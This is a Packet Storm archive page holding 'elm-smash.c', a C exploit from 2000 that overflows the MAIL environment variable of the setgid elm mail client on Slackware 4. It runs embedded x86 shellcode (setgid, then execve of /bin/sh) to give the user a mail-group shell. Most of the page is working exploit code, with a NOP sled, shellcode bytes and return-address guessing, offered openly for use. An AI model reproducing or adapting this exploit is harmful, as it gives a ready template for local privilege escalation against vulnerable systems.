what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

elm-smash.c

elm-smash.c
Posted May 5, 2000
Authored by Scrippie | Site b0f.freebsd.lublin.pl

This exploit spawns an EGID mail shell on the default Slackware 4 install.

tags | exploit, shell
systems | linux, slackware
SHA-256 | d1e67efe4126f2f7afd3ac7d85e4649457759a6fd8ea24490ca70370881514ab

elm-smash.c

Change Mirror Download
/*
Elm Exploit - Scrippie - #Phreak.nl - b0f - http://b0f.freebsd.lublin.pl

This exploit spawns an EGID mail shell on the default Slackware 4 install.

Use as: elm-smash [mail-gid] [offset]

Not that EGID=mail has got any use, but hey, think of it as group
eleviation :)

Take care and till next time!
*/

#include <stdio.h>
#define NUMNOPS 193 // If you change this, you gonna have to change
// the entire sploit ;)

// Shellcode does: setgid(12); execve("/bin/sh");
char shellcode[]="\xeb\x29\x5e\x31\xc0\xb0\x2e\x31\xdb\xb3\x0c\xcd\x80\x89\x76"
"\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd2\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x73\x68";

// Oh no! Where the fuck is my code on the stack?
unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}
// Thanx for telling me lad :)

main(int argc, char **argv)
{
int i, offset=-300; // Offset works for my box
char gid=12;
long addy;
char *thaCode;
char *mailGid;

if(argc > 1) {
gid = (char) atoi(argv[1]);
mailGid = (char *)strchr(shellcode, 0x0c);
*mailGid = gid;
}

if(argc > 2) offset = atoi(argv[2]);

if(!(thaCode = (char *) malloc(NUMNOPS+sizeof(shellcode)+5))) {
fprintf(stderr, "Contact your admin and tell him to buy more RAM\n");
exit(-1);
}

addy = get_sp() - offset;

printf("/-----------------------------------------------\\\n");
printf("| Slack 4/Elm exploit - Scrippie |\n");
printf("\\-----------------------------------------------/\n");
printf("Assuming sgid(elm) = %d\n", (int) gid);
printf("Using ret addr = %x\n", addy);
printf("You're now EUID=mail, take care :-p\n");
printf("Please run \"reset\" when this works\n");
sleep(4);

memset(thaCode, 0x90, NUMNOPS);
thaCode[NUMNOPS] = 0x00; // Set to NULL to make strcat() work
strcat(thaCode, shellcode);

memcpy(thaCode + strlen(thaCode), (void *) &addy, 4);
setenv("MAIL", thaCode, 1); // We're going to be nasty now :)

if((execl("/usr/bin/elm", "/usr/bin/elm", NULL)) == -1) {
perror("execl()");
exit(-1);
}
exit(0);
}
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close